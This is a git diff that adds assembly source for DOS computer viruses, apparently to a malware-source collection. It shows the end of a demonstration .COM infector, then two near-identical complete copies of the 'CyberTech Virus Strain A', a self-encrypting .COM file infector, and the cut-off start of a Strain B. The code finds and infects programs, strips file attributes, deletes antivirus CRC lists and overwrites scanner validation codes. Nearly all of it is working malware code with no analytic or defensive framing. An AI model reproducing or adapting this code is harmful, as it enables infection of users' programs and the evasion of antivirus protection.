address of reference + +#IF warn_user + + ;Always calculate the address of data relative to known Reference + ;Point + lea dx, [si-(offset Reference - offset Warning)] + mov ah,9h ;DO dos call, DS:DX pointing + int 21h ;to $ terminated string + + ;We want to make sure that the user gets the message + +WaitForKey: + mov ah, 0bh ;we will wait for a keypress + int 21h ;signifying the user has + or al, al ;seen the message. + jz WaitForKey + +#ENDIF + +#IF FLOPPY_ONLY + + ;Since this is a simple demonstration virus, we will only infect + ;.COM files on the default drive IFF it is a floppy disk.... + ;So, we will get information about the disk drive. + + + push ds ;ds:bx returns a byte to + ;media descriptor + + mov ah, 1bh ;get disk information STACK + int 21h ;DOIT ax (drive ID's) + cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp + + pop ds ;restore ds STACK + jne Floppy ;if it was hard.... ax <--sp + jmp near ptr done ;we're nice guys and are done + +Floppy: ;Since it was floppy, we can go on with the infection! +#ENDIF + ;The default DTA, as is will give us problems. The designers of + ;MickeySoft DOS decided to put default DTA at ofset 128 in + ;the PSP. PROBLEM: This is also where the user's precious command + ;line is, and we MUST remain undectected. SO.... we allocate a + ;DTA buffer on the stack. 43 bytes are needed, 44 will do. + + sub sp, 44 ;allocate space for findfirst/findnext DTA + mov bp, sp ;set up bp as a reference to this area + + ;Set the DTA + mov dx, bp ;point DS:DX to our area + mov ah, 1ah ;set DTA + int 21h + + ;Set up pointers to data in DTA + dta equ word ptr [bp] + file_name equ word ptr [bp+1eh] + attributes equ byte ptr [bp+15h] + time_stamp equ word ptr [bp+16h] + date_stamp equ word ptr [bp+18h] + file_size equ dword ptr [bp+1ah] + + ;We dynamically allocate a variable to store the number of programs STACK + ;The virus has infected. FCB drives + ; bp--> 44 byte DTA + infected_count equ byte ptr[bp-2]; Infected_Count + xor ax, ax ;zero variable, sp--> buffer (6 bytes) + push ax ;allocate it on the stack + sub sp, 6 ;allocate small buffer + + ;Now, we begin looking for files to infect. + lea dx, [si - (offset Reference - offset VirusMask)] + ;DS:DX points to the search string STACK + mov ah, 4eh ;find first matching directory entry FCB drives (word) + mov cx, 111b ;only default directory, FILES + ;hidden, system and normal + int 21h ;doit bp--> 44 byte DTA buffer + ; infected count (word) + jnc Research ;carry is clear when a file was sp--> 6 byte buffer + jmp nofile ;found. + + +ReSearch: +;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx + lea dx, file_name + +;Since this is a virus, we want to infect files that can't be touched by +;DOS commands, this means readonly, system, and hidden files are at our +;mercy. To do this, we rely on the findfrst/next attributes and other data +;to restore the attribute byte to the original settings. get/SET can fix +;them to be suitable + mov cl, attributes + and cl, 11100000b ;not readonly, system, or hidden STACK + ; FCB drives + mov ax, 4301h ;set attributes bp--> buffer (44 bytes) + int 21h ; buffer (6 bytes) + ; sp--> infected_count + jnc NoError ;check for error + jmp Restore_Flags +NoError: + mov ax, 3d02h ;now, open file using handle, + ;read/write access + int 21h ; + jnc NoError2 ;IF there was an error, we are done + jmp Restore_Flags ;But we don't need to commit or close + +NoError2: + mov bx, ax ;The handle was returned in ACC. + ;Howwever, all handle based DOS + ;calls expect it in BX + + +;We don't want to infect the program more than once, so we will +;check to see if it is infected. + + + mov ax, 4200h ;seek relative to start of file + ; bx contains handle from open operation + xor cx,cx ;cx:dx is file pointer + xor dx, dx ; + int 21h ;DOIT + +;Now, we will read in enough data to see if we have our virus signature. + mov ah, 3fh ;read data + lea dx, [si-(offset reference-offset original_code)] + ;into original_code buffer + mov cx, 5 ;5h bytes + ; bx contains handle from last operation + int 21h + + cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah + jne GoApe ;if we aren't already infected, + jmp Error ;go for it + +GoApe: +;Since it is safe to infect, we will + mov ax, 4202h ;seek end of file + xor cx, cx + xor dx, dx + int 21h + + or dx, dx ;check for valid .COM format + jz Less_Than_64K + jmp Error + +Less_Than_64K: + +;Now, we must calculate WHERE the jump will be to. Let's examine the program +;Structure: +;jmp near ptr xxxx +;Cli Cli }These add up to the original length +;Orignal code sans 5 bytes + +;Original_Code (5 bytes) }The length of all virus data +;Other virus data is equal to the difference in +;Infect the addresses of Infect and Original_Code + +;End_Virus + + +;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) +;However, in the 80x86, NEAR jumps are calculated as an offset from the position +;of the next statement to execute (because of fetch/execute cycle operation). + +;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from +;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code +;+Original_Length-3); + + ;Since AX already contains the original length, we will merely add + ;Space for the virus data, and take care of the three bytes + ;of code generated by the jmp near instruction. + + add ax, (offset Infect - Offset Original_Code -3) + + ;calculate jump address + mov byte ptr [bp-8], 0e9h ;jmp near instruction + mov word ptr [bp-7], ax ;offset for near jmp + mov word ptr [bp-5], 0fafah ;cli cli + + mov ax, 4200h ;seek begining of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ;write patched code + mov cx, 5 ;5 bytes of code + lea dx, [bp-8] ;our buffer + int 21h + + mov ax, 4202h ;seek EOF + xor cx, cx + xor dx, dx + int 21h + + + lea dx, [si - (offset Reference - offset Original_Code)]; set start + mov cx, (offset End_Virus - offset Original_Code) ;set length + mov ah, 40h ;append virus to file + int 21h ;doit + + inc infected_Count ;bump up the number of programs infected + +Error: mov dx,date_stamp ;restore date + mov cx,time_stamp ;restore time + mov ax, 5701h ;set them + int 21h + + mov ah, 3eh ;close file + int 21h + +Restore_Flags: + xor ch, ch ;zero hi byte flags + mov cl,attributes ;restore flags + lea dx, file_name ;ds:dx points to ASCIIZ string + ;in the buffer, offset 1eh contains + ;the file name + mov ax, 4301h ;get/SET flags + int 21h ;Doit + +DoAgain:;See if we're done infecting + cmp infected_count, infect_per_run + jae NoFile ;if we're done, same as no new file + + + mov ah, 4fh ;find next + int 21h + + jc NoFile ;if carry is clear, DOIT again! + jmp ReSearch + +;Since we have no more files, we will restore things to normal. +NoFile: + mov dx, 80h ;reset default dta at DS:80h + mov ah, 1ah ;set DTA + int 21h + + add sp, 52 ;deallocate buffers and infected_count + + + +;Put original code of program BEFORE it was infected back in place! + + +Done: + pop ax ;restore ax + + + ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take + ;a RELATIVE address...... BUT a retn opcode pops a near absolute + ;address of the stack - saves us the trouble of some calculating + ;relative to here, and the trouble of a self-modifying + ;far absolute jmp! (5 bytes) + + mov bx, 0100h + push bx + ret ;easiest jump to cs:100 + +End_Virus: +_TEXT ends +end start + diff --git a/c/Cybertch.asm b/c/Cybertch.asm new file mode 100755 index 0000000..7446f9a --- /dev/null +++ b/c/Cybertch.asm @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1992, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1993, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1992 is past time + Int 21h ; already + Cmp Cx,1993 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1993 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1993 +; + +Msg Db 13,10,'CyberTech Virus - Strain A' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cybrtcha.asm b/c/Cybrtcha.asm new file mode 100755 index 0000000..94e73c8 --- /dev/null +++ b/c/Cybrtcha.asm @@ -0,0 +1,421 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1992, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1993, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1992 is past time + Int 21h ; already + Cmp Cx,1993 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1993 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1993 +; + +Msg Db 13,10,'CyberTech Virus - Strain A' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length diff --git a/c/Cybrtchb.asm b/c/Cybrtchb.asm new file mode 100755 index 0000000..76579aa --- /dev/null +++ b/c/Cybrtchb.asm @@ -0,0 +1,495 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea 